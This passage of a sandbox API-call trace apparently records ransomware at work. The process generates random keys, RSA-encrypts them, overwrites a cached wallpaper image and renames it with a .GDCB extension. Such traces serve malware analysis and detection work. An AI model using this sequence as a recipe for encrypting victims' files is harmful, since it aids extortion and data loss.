(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk") returned 79 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk") returned 76 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk") returned 76 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk") returned 82 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk") returned 82 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk") returned 84 [0135.762] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk") returned 84 [0135.762] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk") returned 71 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk") returned 71 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk") returned 76 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk") returned 76 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk") returned 74 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk") returned 74 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk") returned 81 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk") returned 81 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk") returned 89 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk") returned 89 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk") returned 75 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk") returned 75 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk") returned 81 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk") returned 81 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk") returned 75 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T0U3EmSD.lnk") returned 75 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk") returned 83 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\T21W3FSXJ7JpSCXp.lnk") returned 83 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk") returned 75 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TCfZ31T4.lnk") returned 75 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk") returned 78 [0135.763] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tgUnQFz.flv.lnk") returned 78 [0135.763] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk") returned 82 [0135.764] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tIZlz3oLFvDkmXZ.lnk") returned 82 [0135.764] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk") returned 82 [0135.764] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\tlE6ao_mfe1zAPU.lnk") returned 82 [0135.764] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk") returned 81 [0135.764] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TrUGiHFGXsM_7X.lnk") returned 81 [0135.764] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U53LX.lnk") returned 72 [0135.764] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\U53LX.lnk") returned 72 [0135.764] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UmYv.lnk") returned 71 [0135.764] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\UmYv.lnk") returned 71 [0135.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.766] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.771] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.772] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.772] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.772] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.772] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.772] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.773] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.774] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.774] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.774] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.774] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.775] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.777] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.778] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.779] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ed300) returned 1 [0135.780] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.780] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.780] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0135.780] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0135.780] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x2ecc18) returned 1 [0135.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0135.781] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0135.781] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0135.781] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.781] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecc18) returned 1 [0135.783] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x2c7680) returned 1 [0135.783] CryptGetKeyParam (in: hKey=0x2c7680, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.783] CryptEncrypt (in: hKey=0x2c7680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0135.783] GetLastError () returned 0x0 [0135.783] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0135.783] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x2ecfd0) returned 1 [0135.785] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x2c77c0) returned 1 [0135.785] CryptGetKeyParam (in: hKey=0x2c77c0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0135.785] CryptEncrypt (in: hKey=0x2c77c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0135.785] GetLastError () returned 0x0 [0135.785] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0135.785] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0135.786] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0135.786] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0135.786] ReadFile (in: hFile=0x4fc, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x12563, lpOverlapped=0x0) returned 1 [0135.794] VirtualAlloc (lpAddress=0x0, dwSize=0x12570, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0135.795] VirtualAlloc (lpAddress=0x0, dwSize=0x12570, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0135.796] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.796] SetFilePointer (in: hFile=0x4fc, lDistanceToMove=-75107, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.796] WriteFile (in: hFile=0x4fc, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x12570, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285e820*=0x12570, lpOverlapped=0x0) returned 1 [0135.797] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.797] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.800] WriteFile (in: hFile=0x4fc, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0135.800] WriteFile (in: hFile=0x4fc, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0135.800] WriteFile (in: hFile=0x4fc, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0135.800] CloseHandle (hObject=0x4fc) returned 1 [0135.801] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.801] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.802] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.802] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg.gdcb")) returned 0 [0135.802] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.803] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.804] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.804] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.804] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.804] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.805] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.805] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.805] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.805] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.811] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.814] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.814] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.814] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.814] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.815] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.815] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.815] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.815] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.821] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 